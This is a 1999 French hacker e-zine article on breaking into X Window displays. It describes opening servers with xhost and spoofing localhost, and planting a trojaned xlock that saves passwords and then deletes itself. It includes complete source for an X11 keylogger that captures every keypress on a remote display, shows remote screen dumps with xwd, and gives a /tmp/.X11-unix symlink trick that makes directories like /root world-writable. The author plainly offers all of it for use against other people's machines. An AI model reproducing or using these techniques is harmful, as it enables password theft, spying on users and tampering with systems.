(¯`'·.¸(¯`'·.¸_.·´`·._.·´`·.(¯`'·.¸ ¸.·'´¯).·´`·._.·´`·._¸.·'´¯)¸.·'´¯) ) X-window ) 4.16 ( Cyberjunk ( (_¸.·'´(_¸.·'´`·._.·´`·._.·´(_¸.·'´¯`'·.¸_)`·._.·´`·._.·´`'·.¸_)`'·.¸_) Quelques mots sur X Window -========================- by cyberjunk/snipper@hotmail.com <<21/03/99 cryptel.cjb.net members.xoom.com/nevroze www.perdu.com 1. Edito 2. Questions éliminatoires 3. Comment X-Window marche ? 4. xhost, sésame ouvre toi :) 5. xauth,xdm et .Xauthority 6. Trojan & key logger 7. Saise d'écran à distance ... 8. Advisories pour admin peu soucieux :) 9. Conclusion =) <SPECIAL GREETS: va2,aaah,neodyme,bob,jibus,bodhidarma,nitro,rockme, [shen],el'latinos,x-ray,goliath,cyberbobjr,runeb,romano,elessar,rikkk's, drahiin,white widow,zebda,massilia sound system,felecita et la suisse> *Fais attention à la polution, à la police* 1. Edito ... ============ ToH ! Tiens on va parler de X-Window .. mmh :) Oui oui, Tout le monde l'utilise tout le monde est content. On entend du KDe par-ci, du Window-Maker par la, du Gnome, oui notre chère populasse l'a adopté, X Window Rulez ... Jettons un oeil a kelkes astuces qui nous permettrons d'aller plus loins dans nos nuits déjà longues et agitées ... :) Sur ces bonnes paroles, c'est parti ... =) 2. Questions éliminatiores : ============================ [ ] Je ne sais pas lire. *mmh?* [ ] J'utilise pas linux. [ ] Je ne sais pas ce k'est X-Window. [ ] Je travaille pour le CERT [ ] Je supporte le PSG *lol* Si tu as répondu <OUI> à une de ces questions tu peux passer à l'article suivant. Celui-ci n'est pas fait pour toi ... ou ne t'interessera pas ! :) 3. Comment X-window marche ? ============================ X-Window fonctionne en mode client / server ce qui lui permet donc d'être accéssible via le reseau, Lan ou Internet. Les servers sont XFree86, Metro X par exemple et les clients X-Terms, ou autre applications. A ce propos, il existe aussi des servers et clients destinées a Windows NT. La majorité sont payant "evidemment" :/ mais vous pouvez trouver un paire de shareware sur www.tucows.com . Généralement, l'ensemble Client/Server tourne sur la même machine, surement le cas sur votre box linux. Mais bon rien ne vous empêche d'aller essayer de vous connecter ailleurs =) Jusque la tout va bien, mais alors quel probléme liée à la sécurité touche ce systeme ? =) Et Biiin (avec l'accent) ;) , il faut bien comprendre que le server et le client communique bien evidemment. (Ah bon ?! ;) ... par exemple: - Configuration, paramétre de session ... - Un evenement du genre souris, clavier etc ... - Donnée relative à X, Création de fenêtre, ecriture de texte ... Une fois donc connecter au Server X, il est donc normalement possible de: - agir sur les fenêtre, création et kill - Capturer des evenements X (ie: lire les touches au claviers d'un Xterm) - Créer des evenements X (ie: envoyer du textes dans un Xterm) Les servers X applique généralement une méthode de sécurité, tout ou rien ... il accepte ou refuse simplement la connection du client. 4. xhost, sésame ouvre toi :) ============================= Un coup de xhost et la porte s'ouvre =) Ah Bon ? si si ! Si l'on execute la commande: [DeB_Box]/$ xhost + N'importe qui pourra venir se connecter a note server X Window. Par défault, sur les versions X11R6, le server est normalement closed (xhost -). Pour ajouter une seule IP: [DeB_Box]/$ xhost + x.x.x.x Il en va evidement de même pour xhost - ! toh ! =) Vous pouvez voir k'es-ce k'il en est sans rien changer en tapant xhost tout cours depuis un xterm. Mais bon ce système qui est installé par défault comporte un léger problème qui mérite de s'y attarder =) En effet, par défault, xhost est configuré pour accepter la "localhost". A vous donc de vous faire passer pour la localhost (rlogin, pipe, /etc/hosts, etc ...) et hop connection accepté ... 5. xauth, xdm et .Xauthority ============================= X n'est pas forcément sécurisé qu'avec xhost. Il peut avoir aussi été configuré avec xauth, qui permet d'autorisé les connections au server qu'avec certain user préalablement réglé ... En fait il utilise un système de clé. xauth est le raccourci de X-Authetification =) xdm est un utilitaire de login graphique .Xautority est un fichier binaire se trouvant dans le home contenant les infos relatives. Pour extraire les infos .Xauthority, il faut taper xauth list. Le résultat est de la forme suivante. ip_machine:0 MIT-MAGIC COOKIE-1 73773549724714a...... IP Type d'authorisation Clé Pour ajouter un utilisateur ayant le droit de se connecter, il faut utiliser la commande xauth add comme il suit: $ xauth add ip_machine:0 MIT-MAGIC COOKIE-1 73773549724714a...... *Plus d'info dans le man =)* 6. Trojan & key logger ====================== Ou peut-on placer des chevaux de troies dans X-win ?! Bin le plus simple et certainement le plus efficasse reste encore xlock (verrouillage de la station) et XDM (login graphique). Si l'utilisateur a un ./ dans son path, YES il est vulnerable. Pour ce, il suffit donc de placer le trojan dans son home directory =) Ca parait peut être con, mais ça reste efficasse ... Hé Oui, retrouver le code de xlock (xlock.c), glisser une ligne qui écrit le password dans un file et recompiler le tout dans le ~ . Comme d'hab, une bonne et sage décision reste de faire auto-détruire le trojan aprés son éxecution. Rem(1): Certain Window manager utilise leur propre lock. C'est le cas dans kde, il s' appelle "klock" . Si vous êtes autorisé a vous connecter au serveur il vous est donc normalement possible de pouvoir "Ecouter" les communications entre celui-ci et d'autre clients. Voila le code d'un Key Logger pour X11, développé par Technotronic/X-treme a long time ago .. =) Lancer le comme indiqué dans l'en-tête et regardez défiler le résultat ;) ==================================== CUT HERE ==================================== /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * To compile, run it through your favorite ansi compiler something like * this : * * gcc -o xkey xkey.c -lX11 -lm * * To run it, just use it like this : xkey displayname:0 * and watch as that display's keypresses show up in your shell window. * * Dominic Giampaolo (nick@cs.maxine.wpi.edu) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / #include <stdio.h> #include <X11/X.h> #include <X11/Xlib.h> #include <X11/Intrinsic.h> #include <X11/StringDefs.h> #include <X11/Xutil.h> #include <X11/Shell.h> char *TranslateKeyCode(XEvent *ev); Display *d; void snoop_all_windows(Window root, unsigned long type) { static int level = 0; Window parent, *children, *child2; unsigned int nchildren; int stat, i,j,k; level++; stat = XQueryTree(d, root, &root, &parent, &children, &nchildren); if (stat == FALSE) { fprintf(stderr, "Can't query window tree...\n"); return; } if (nchildren == 0) return; /* For a more drastic inidication of the problem being exploited * here, you can change these calls to XSelectInput() to something * like XClearWindow(d, children[i]) or if you want to be real * nasty, do XKillWindow(d, children[i]). Of course if you do that, * then you'll want to remove the loop in main(). * * The whole point of this exercise being that I shouldn't be * allowed to manipulate resources which do not belong to me. */ XSelectInput(d, root, type); for(i=0; i < nchildren; i++) { XSelectInput(d, children[i], type); snoop_all_windows(children[i], type); } XFree((char *)children); } void main(int argc, char **argv) { char *hostname; char *string; XEvent xev; int count = 0; if (argv[1] == NULL) hostname = ":0"; else hostname = argv[1]; d = XOpenDisplay(hostname); if (d == NULL) { fprintf(stderr, "Blah, can't open display: %s\n", hostname); exit(10); } snoop_all_windows(DefaultRootWindow(d), KeyPressMask); while(1) { XNextEvent(d, &xev); string = TranslateKeyCode(&xev); if (string == NULL) continue; if (*string == '\r') printf("\n"); else if (strlen(string) == 1) printf("%s", string); else printf("<<%s>>", string); fflush(stdout); } } #define KEY_BUFF_SIZE 256 static char key_buff[KEY_BUFF_SIZE]; char *TranslateKeyCode(XEvent *ev) { int count; char *tmp; KeySym ks; if (ev) { count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL); key_buff[count] = '\0'; if (count == 0) { tmp = XKeysymToString(ks); if (tmp) strcpy(key_buff, tmp); else strcpy(key_buff, ""); } return key_buff; } else return NULL; } ==================================== CUT HERE ==================================== 7. Saise d'écran à distance ... =============================== Le dump d'un écran X reste réalisable sur certaine machine. Cela peut toujours servir pour le fun, ou carrément piquer des infos ... pourkoi pas ? =) La commande de base prévu plus ou moins a cet effet est xwd. Pour un max d'info sur cette commande RTFM ! =) man xwd. *DUMP d'une image* [DeB_Box]/$ xwd -root localhost:0.0 > image *READING d'une image* [DeB_Box]/$ xwud -in image (Même reflexion, man xwud, pour plus d'info) Pour les XTerm, il faut procéder différement, il faut utiliser les params suivants: xwd -name xterm 8. Advisories pour admin peu soucieux :) ========================================= Quelques admins rezo peu soucieux n'update pas le server X et laisse celui ki ont installer tout au départ. C'est un tort, vu que quelque version antérieure de XF86 contiennent quelques exploits comme toute application unix qui se respecte. ;) Pour les retrouver, jetter un oiel sur le web de XFree86. Le dernier révélé le 28 Mars 99 concerne les server xf86-3.3.3 à 5. C'est la version fournie avec Red Hat 5.2 ... 1 Bug de plus ;) Le server crée un répertoire dans /tmp sous le nom de .X11-unix avec le malheureux mode 1777 ;) Bon pour en profiter, il vous faut créer un lien symbolique avec ce nom et le diriger sur le repertoire cible. (ie: ln -s /root /tmp/.X11-unix) Ensuite, une fois que X-Window s'est lancé le répertoire cible se mettra au mode 1777 ! =) Attention, vous aller changer le mode d'un repertoire ! Assurrer vos arrière. Le remettre comme avant est une autre histoire ... Mais bon ca peut toujours être utile =) Rem(1): Ca marche pas sur les versions précedentes tels que 3.3.2.3 fournit avec Debian 2.0 par exemple. Rem(2): Il est clair que le server X n'a rien a voir avec la distrib, mais je les cite comme exemple car il est fournit sur le Cd. 9. Conclusion ! ================ Blablabla usuel ! *Toh* Bin oui, en espérant que vous avez reussi a trouvé une particule d'information utile, n'hésiter pas a mailer vos commentaire, d'autre technik/info/etc... ?! à snipper@hotmail.com ou m'écrire a: Mr Daniel Padouin 163 avenue d'Italie 75013 PARIS *no offence, just for the fun* Bonne documentation à ce sujet: Crash course in X Window Security, CIAC-2316 Securing X Window, le MAN! :) ainsi que le web www.xfree86.org section Security. :) Restons cool, la meilleure politik c'est gentleman s'en battent les couilles, en gros restons ZEN ... Pas besoin de stresser, n'est-ce pas ? N'essayerais-je pas de me rassurer pour mes partiels ki arrivent a grand pas ... mais non ..... *gggrrrr* Tchuss (?!) Mais kes ki vous prend de lire ce bordel ? A oui ... Merde j'ai oublier de préciser , bin ... roulement de tambour .... blamblamblam ... c'est finni ... -[END]-